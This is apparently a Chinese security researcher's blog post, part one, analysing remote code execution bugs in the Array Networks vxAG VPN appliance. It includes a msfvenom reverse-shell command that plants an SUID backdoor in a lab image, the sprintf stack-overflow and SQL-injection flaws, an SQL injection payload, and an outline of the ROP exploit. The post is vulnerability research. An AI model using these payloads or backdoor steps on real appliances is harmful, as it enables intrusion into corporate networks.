Array Networks vxAG 远程代码执行漏洞分析 (一)

Catalpa 网络安全爱好者

2022 年 Array Networks 官方发布了数个影响 AG/vxAG 设备的远程代码执行漏洞公告,官方披露信息较少,难以界定本文提到的漏洞和公告中的是否一致,因此文章内容仅供参考。由于环境配置和漏洞分析利用较为复杂,所以文章将分为两部分,本文为第一部分。(分析版本基于 9.4.0.5)

环境准备

镜像下载链接:vxAG

得到镜像之后导入 Vmware 开机,等待启动完成会提示输入账户登录,默认账户为 array:admin。登录到 CLI,先配置网络,相关命令:

1
2
3
4
5
enable
<提示输入密码,直接回车>
configure terminal
ip address port1 192.168.0.151 255.255.255.0
exit

配置好之后浏览器访问链接 https://192.168.0.151:8888 使用默认账户登录即可。

代码和权限获取

网络配置完毕,我们需要拿到文件系统以便于进行代码审计分析。获取代码采用比较常规的思路,即尝试将虚拟机磁盘挂载出来,拷贝文件系统或植入后门。

先关闭虚拟机,卸载磁盘,然后将磁盘挂载到另一台 Linux 虚拟机上,可以识别到以下分区

img

不过尝试点击分区打开时,会出现错误信息:

img

这是因为 vxAG 是基于 FreeBSD 系统开发的,FreeBSD 使用 UFS 文件系统,Linux 对 UFS 的识别可能存在一些问题,我们尝试用 mount 命令挂载

1
sudo mount -r -t ufs -o ufstype=ufs2 /dev/sdb10 ./sdb10

这样就可以挂载成功,业务相关程序位于 /dev/sdb7 中,先将文件打包到本地。

由于设备不提供 root shell,为了方便后续调试需要在系统中植入后门,不过直接从 Linux 上没办法修改 UFS 文件系统,如果想修改,需要安装一系列工具和内核驱动模块,其过程比较复杂且存在失败风险。我们可以采取更好的方案,安装一份 FreeBSD 系统,将磁盘挂载到此系统即可进行读写操作。

FreeBSD 7.0 的下载链接 ,下载 disc1 即可,安装过程参考手册

进入 FreeBSD 系统先修改 /etc/ssh/sshd_config 配置文件,添加 PermitRootLogin yes 选项允许 root 用户登录,关机将磁盘挂载上去,开机从 ssh 登录。挂载目标磁盘时应使用 IDE 类型。

在 /dev 目录下可以看到 ad0 设备,对应目标硬盘。文件系统位于 ad0s1e 分区中,使用下面的命令将分区挂载到本地

1
2
fsck -y /dev/ad0s1e    # 首先清理磁盘
mount /dev/ad0s1e ./test # 将磁盘挂载到本地目录

植入后门时我们希望对系统的改动最小,不影响正常功能,经分析发现位于 /ca/bin 目录下的 monitor.sh 脚本在执行 CLI 命令 debug monitor 时会被调用,可以考虑在这个脚本开头加入一些后门命令。

利用 msf 生成木马文件

1
msfvenom -p bsd/x64/shell_reverse_tcp LHOST=192.168.0.161 LPORT=12345 -f elf > my_shell

把木马放在 /ca/bin 目录下,赋予 SUID 权限,然后在 monitor.sh 开头添加启动命令

1
/ca/bin/my_shell &

另外,可以将 /etc/master.passwd 中的 root 密码修改成已知的,方便后续操作。

保存修改卸载磁盘,将磁盘重新挂载回 array 系统上,开机进入 CLI,先在接收端监听端口,然后执行下面的命令

1
2
3
4
enable
configure terminal
debug monitor off
debug monitor on

在接收端收到反弹 shell:
img

在命令行中执行

1
pw user mod array -g wheel

允许 array 用户使用 su 切换,然后执行命令

1
2
mv /ca/bin/ca_shell /ca/bin/ca_shell_bak
ln -s /bin/csh /ca/bin/ca_shell

从 ssh 以 array 用户身份登录,再 su 切换到 root 用户即可得到完整的 shell 环境。
img

漏洞分析

本文要介绍的漏洞位于设备 DesktopDirect 功能上,根据官方描述,这是一个类似 VPN 的远程接入功能,允许企业员工在任何地点的任何设备上安全的接入公司网络。这个功能默认运行在 TCP 9090 端口上,对应二进制程序 art_server。

art_server 是一个基于 lighttpd 开发的 web 服务程序,对应配置文件 /ca/bin/art_server.conf,我们直接对它逆向分析。

程序包含符号信息,加上 lighttpd 源码辅助可以快速对功能点进行定位,我们找到关键入口函数 mod_art_server_uri_handler,这个函数会根据用户的请求 URI 调用不同功能,URI 包括

1
2
3
4
5
6
7
/smx
/prequery
/query
/object
/portal
/replication
/test

每个 URI 对应不同函数,大部分操作都是对本地 sqlite 数据库 /ca/bin/artdb 的增删改查,举例来说,路由 /replication 下包含几个子路由 /groupinfo、/notification、/join 等,其中 /groupinfo 对应函数 handle_replication_group_info_req 的部分代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
// ...
xmlBuf = 0LL;
reqDoc = 0LL;
repDoc = 0LL;
db = 0LL;
peers = 0LL;
groupID = 0LL;
res = 0LL;
prmCon->http_status = 500;
data = get_post_content(prmData, prmServer, prmCon, 1);
reqDoc = xmlParseMemory(data->ptr, data->used);
if ( !reqDoc )
{
if ( englog_is_on() )
englog_helper(1u, 1u, "(%s) failed to parse request (1)", "handle_replication_group_info_req");
goto proc_done;
}
root = xmlDocGetRootElement(reqDoc);
if ( !root )
{
if ( englog_is_on() )
englog_helper(1u, 1u, "(%s) failed to parse request (2)", "handle_replication_group_info_req");
goto proc_done;
}
for ( reqNode = root->children; reqNode && strcmp(reqNode->name, "GroupInfoRequest"); reqNode = reqNode->next )
;
if ( !reqNode )
{
if ( englog_is_on() )
englog_helper(1u, 1u, "(%s) failed to parse request (3)", "handle_replication_group_info_req");
goto proc_done;
}
ret = artdb_open(&db, 0);
if ( ret )
{
if ( englog_is_on() )
englog_helper(1u, 1u, "(%s) Failed to get replication information (1)", "handle_replication_group_info_req");
goto proc_done;
}
repDoc = xmlNewDoc("1.0");
root = xmlNewNode(0LL, "ART_REP");
xmlDocSetRootElement(repDoc, root);
repNode = xmlNewChild(root, 0LL, "GroupInfoReply", 0LL);
ret = artdb_rep_get_group_id(db, &groupID);
if ( ret )
{
if ( englog_is_on() )
englog_helper(1u, 1u, "(%s) Failed to get replication group ID (%d)", "handle_replication_group_info_req", ret);
goto proc_done;
}
if ( groupID )
xmlNewProp(repNode, &off_6F0BED, groupID);
ret = artdb_get_version(db, &dbVerMaj, &dbVerMin, &dbBuild);
if ( ret )
{
if ( englog_is_on() )
englog_helper(
1u,
1u,
"(%s) Failed to get ART server version information (%d)",
"handle_replication_group_info_req",
ret);
goto proc_done;
}
sprintf(st, "%d", dbVerMaj);
xmlNewProp(repNode, "DBMaj", st);
sprintf(st, "%d", dbVerMin);
xmlNewProp(repNode, "DBMin", st);
sprintf(st, "%d", dbBuild);
xmlNewProp(repNode, "DBBuild", st);
// ...

代码中使用 artdb_open 打开数据库,然后通过 artdb_rep_get_group_id 等 API 从数据库中查询相关数据,最后将结果转换成 XML 格式返回。其他接口功能类似。

请求和响应样例:

1
2
3
4
5
6
7
8
9
POST /replication/groupinfo HTTP/1.1
Host: 127.0.0.1
Content-Type: application/xml
Content-Length: 58

<xml>
<GroupInfoRequest>
</GroupInfoRequest>
</xml>
1
2
3
4
5
6
7
HTTP/1.1 200 OK
Content-Length: 98
Date: Wed, 16 Nov 2022 05:56:44 GMT
Server: lighttpd/1.4.35

<?xml version="1.0"?>
<ART_REP><GroupInfoReply GID="" DBMaj="4" DBMin="0" DBBuild="7"/></ART_REP>

通过对各个功能进行分析,可以找到多处使用不安全 API 处理字符数据的代码片段,例如函数 artdb_get_user_id:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
int __cdecl artdb_get_user_id(sqlite3_0 *prmDB, int prmInstID, char *prmUsername, int *prmUserID)
{
int v4; // eax
int v6; // [rsp+1Ch] [rbp-844h]
char sql[2049]; // [rsp+40h] [rbp-820h] BYREF
char *eMsg; // [rsp+848h] [rbp-18h] BYREF
int rows; // [rsp+850h] [rbp-10h] BYREF
int cols; // [rsp+854h] [rbp-Ch] BYREF
char **tblRes; // [rsp+858h] [rbp-8h] BYREF

if ( prmDB )
{
eMsg = 0LL;
sprintf(
sql,
"select * from %s where (%s=%d) and (lower(%s)=lower('%s'))",
"localusers",
"inst_id",
prmInstID,
"uname",
prmUsername);
if ( sqlite3_get_table(prmDB, sql, &tblRes, &rows, &cols, &eMsg) )
{
if ( englog_is_on() )
englog_helper(1u, 1u, "(%s) failed to get users table (%s)", "artdb_get_user_id", eMsg);
sqlite3_free(eMsg);
v6 = -4;
}
else
{
if ( rows <= 0 )
{
*prmUserID = -1;
}
else
{
v4 = artdb_table_cell(0, 1, cols);
*prmUserID = atoi(tblRes[v4]);
if ( rows > 1 && englog_is_on() )
englog_helper(1u, 2u, "(%s) username %s has more than one row (%d)", "artdb_get_user_id", prmUsername, rows);
}
sqlite3_free(eMsg);
sqlite3_free_table(tblRes);
v6 = 0;
}
}
else
{
if ( englog_is_on() )
englog_helper(1u, 1u, "(%s) NULL database pointer", "artdb_get_user_id");
v6 = -2;
}
return v6;
}

第 14 行使用 sprintf 函数构造 sql 查询语句,其中 prmUsername 参数是我们可控的数据,有很多途径都可以触发,那么这里显然存在栈溢出漏洞。另外,构造出来的 sql 语句没有经过任何过滤就使用 sqlite3_get_table 执行,存在 sql 注入漏洞。

漏洞利用分析

首先考虑栈溢出,目标程序信息

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

没有开启保护措施,架构为 x64,由于数据是从 HTTP Query_String 传入的,所以不能出现特殊字符,如 00 字符。这就导致我们可能只能劫持返回地址,不能直接构造 ROP。

再次观察漏洞代码,sprintf 语句的 format string 在可控数据之后还有几个字符 ')),由于这些字符会拼接在 payload 后面,导致也没办法劫持返回地址。

考虑 sql 注入漏洞,目标数据库是 sqlite,常规的利用思路可以从数据库中泄露某些敏感信息,或者是向 web 目录创建 php 后门、加载自己上传的 so 文件等。默认情况下 /ca/bin/artdb 中应该没有内容,上传文件或向 web 目录写 php 都需要先绕过 web 登录,也难以实现。

特殊形式的栈溢出

以上比较明显的漏洞暂时没有利用思路,继续分析代码。在 /query/hosts 路由对应的函数中有下面的逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
// ...
gnames = buf_get_delim_param(prmCon->uri.query->ptr, "_role");
if ( gnames || !check_device_identification_result(db, instID, userID, uname->ptr, prmCon, &devIDRes) )
{
if ( gnames )
{
buffer_urldecode_query(gnames);
ret = artdb_get_groupIDs_by_request(db, instID, gnames->ptr, &groupIDs, &count);
if ( ret )
goto done_and_close;
}
}
// ...

获取用户参数 _role,进行 url 解码之后传入 artdb_get_groupIDs_by_request 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
int __cdecl artdb_get_groupIDs_by_request(sqlite3_0 *prmDB, int instID, char *gnames, int **prmGroupIDs, int *prmCount)
{
int groupID; // [rsp+3Ch] [rbp-1024h] BYREF
int groupIDs[1024]; // [rsp+40h] [rbp-1020h] BYREF
char *pCur; // [rsp+1040h] [rbp-20h]
char *pNext; // [rsp+1048h] [rbp-18h]
char *pName; // [rsp+1050h] [rbp-10h]
int ret; // [rsp+1058h] [rbp-8h]
int i; // [rsp+105Ch] [rbp-4h]

ret = 0;
i = 0;
for ( pCur = gnames; pCur; pCur = pNext + 1 )
{
pNext = strchr(pCur, ':');
if ( !pNext )
{
pName = pCur;
ret = artdb_get_group_id(prmDB, instID, pCur, &groupID);
if ( ret )
return -4;
if ( groupID != -1 )
groupIDs[i++] = groupID;
break;
}
pName = pCur;
*pNext = 0;
ret = artdb_get_group_id(prmDB, instID, pName, &groupID);
if ( ret )
return -4;
if ( groupID != -1 )
groupIDs[i++] = groupID;
}
*prmCount = i;
if ( !i )
goto LABEL_20;
*prmGroupIDs = malloc(4LL * i);
if ( *prmGroupIDs )
{
memset(*prmGroupIDs, 0, 4LL * i);
memcpy(*prmGroupIDs, groupIDs, 4LL * i);
LABEL_20:
ret = 0;
return 0;
}
if ( englog_is_on() )
englog_helper(1u, 1u, "(%s) failed to allocate the user_webaclIDS (%d)", "artdb_get_groupIDs_by_request", 4LL);
return -5;
}

函数第三个参数是用户可控的 _role 参数,进入 for 循环对该字符串遍历,每次都寻找冒号。获取冒号之前的一项,将其作为参数传入 artdb_get_group_id 函数。由此可以推断 _role 是一种用冒号分隔的字符串数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
int __cdecl artdb_get_group_id(sqlite3_0 *prmDB, int prmInstID, char *prmGroupname, int *prmGroupID)
{
int v4; // eax
int v6; // [rsp+1Ch] [rbp-844h]
char sql[2049]; // [rsp+40h] [rbp-820h] BYREF
char *eMsg; // [rsp+848h] [rbp-18h] BYREF
int rows; // [rsp+850h] [rbp-10h] BYREF
int cols; // [rsp+854h] [rbp-Ch] BYREF
char **tblRes; // [rsp+858h] [rbp-8h] BYREF

if ( prmDB )
{
eMsg = 0LL;
sprintf(
sql,
"select * from %s where %s=%d and %s='%s'",
"localgroups",
"inst_id",
prmInstID,
"groupname",
prmGroupname);
if ( sqlite3_get_table(prmDB, sql, &tblRes, &rows, &cols, &eMsg) )
{
if ( englog_is_on() )
englog_helper(1u, 1u, "(%s) failed to get groups table (%s)", "artdb_get_group_id", eMsg);
sqlite3_free(eMsg);
v6 = -4;
}
else
{
if ( rows <= 0 )
{
*prmGroupID = -1;
}
else
{
v4 = artdb_table_cell(0, 1, cols);
*prmGroupID = atoi(tblRes[v4]);
if ( rows > 1 && englog_is_on() )
englog_helper(
1u,
2u,
"(%s) groupname %s has more than one row (%d)",
"artdb_get_group_id",
prmGroupname,
rows);
}
sqlite3_free(eMsg);
sqlite3_free_table(tblRes);
v6 = 0;
}
}
else
{
if ( englog_is_on() )
englog_helper(1u, 1u, "(%s) NULL database pointer", "artdb_get_group_id");
v6 = -2;
}
return v6;
}

这里从 localgroups 表中查找对应的 groupname 条目,获取到它的 groupID,经过 atoi 转换成 int 型数据返回。

返回之后在循环中将 ID 赋值到位于栈的数组 groupIDs 中,然后再处理下一项数据。向数组插入多少数据是根据 _role 参数中有多少项目决定的,也就是说如果数据库中的内容可控,那么我们就可以构造较长的 _role 参数,循环不断向 groupIDs 数组写入内容,最终将导致栈溢出。

这个栈溢出和其他位置的不同,由于写入的数据是 int 类型,我们无需担心特殊字符的问题,可以直接构造 ROP 完成利用。

控制数据库

我们已经有 sql 注入漏洞,由于 sqlite 的特性,在一条 sql 语句之后拼接分号可以执行另一条语句。所以可以先将原始查询语句正确闭合,在分号后面向 localgroups 表中插入 payload 数据,最后注释掉后续的非法字符即可控制数据库中的数据。

sql 注入点有很多,我们选择 /query/clientverification2 路由,考察注入点:

1
2
3
4
5
6
7
8
sprintf(
sql,
"select * from %s where (%s=%d) and (lower(%s)=lower('%s'))",
"localusers",
"inst_id",
prmInstID,
"uname",
prmUsername);

和之前介绍的语句一样,注入部分首先构造字符串 array')); 对 select 语句进行闭合,然后构造 insert 语句将数据插入表中,例如

1
insert/**/into/**/localgroups/**/(group_id,inst_id,groupname,params)/**/values/**/(123,1,"test","p");/**/--

空格部分用 /**/ 替代。

利用分析

漏洞本质上是栈溢出,所以基本思路就是构造 ROP 去调用 system 执行命令。不过在利用过程中存在一些细节问题。

1. 指针问题

观察漏洞函数变量定义,在栈数组 groupIDs 下方有三个指针 pCur、pNext、pName,它们在 for 循环中起到定位的作用,如果在溢出过程中这些指针被非法数据覆盖,函数没执行到返回前就会崩溃。通过调试分析可以获取它们在被覆盖之前的值,在溢出数据中对这些值进行恢复即可。

2. 参数问题

由于溢出是以 int 型即每次 4 字节来覆盖的,所以我们的命令也要符合这个条件,每 4 字节取小端序,分批写入。

调试

系统中自带 gdb 程序,可直接在 shell 中调试。

你可以在 Github 上获取演示脚本。

演示

请观看下面的演示视频

本文内容到这里就结束了,我们将在下篇文章中介绍 License 和 VPN 的相关问题。

  • Title: Array Networks vxAG 远程代码执行漏洞分析 (一)
  • Author: Catalpa
  • Created at : 2022-11-16 00:00:00
  • Updated at : 2024-10-17 08:22:37
  • Link: https://wzt.ac.cn/2022/11/16/ArrayVPN_rce/
  • License: This work is licensed under CC BY-NC-SA 4.0.